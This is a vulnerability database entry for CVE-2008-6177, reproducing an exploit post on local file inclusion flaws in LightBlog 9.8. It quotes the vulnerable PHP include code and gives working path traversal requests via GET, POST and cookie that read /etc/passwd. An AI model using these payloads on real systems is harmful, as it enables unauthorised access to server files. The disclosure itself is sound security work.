Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
LightBlog 9.8 (GET,POST,COOKIE) Multiple LFI Vulnerabilities
2009.02.21
Credit:
JosS
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2008-6177
CWE:
CWE-22
CVSS Base Score:
6.8/10
Impact Subscore:
6.4/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
Partial
Integrity impact:
Partial
Availability impact:
Partial
# LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies # url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. vuln file: view_member.php vuln code: 8: if(isset($_GET['username']) and file_exists("./accounts/".$_GET['username'].".php")){ x: ... 24: include("./accounts/{$username_get}.php"); 39: } PoC: GET view_member.php?username=[file]%00 ExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00 --- vuln file: login.php vuln code: 18: include("./accounts/".$_POST['username_post'].".php"); PoC: POST login.php?username_post=[file]%00 ExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00 --- vuln file: check_user.php vuln code: 6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){ $username_cookie = $_COOKIE['Lightblog_username']; $password_cookie = $_COOKIE['Lightblog_password']; if(file_exists("./accounts/{$username_cookie}.php")){ 13:include("./accounts/{$username_cookie}.php"); PoC: javascript:document.cookie = "Lightblog_username=[file]%00; path=/"; document.cookie = "Lightblog_password=JosS; path=/"; ExP: javascript:document.cookie = "Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/"; document.cookie = "Lightblog_password=JosS; path=/"; --- and more ... hack0wn :D
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top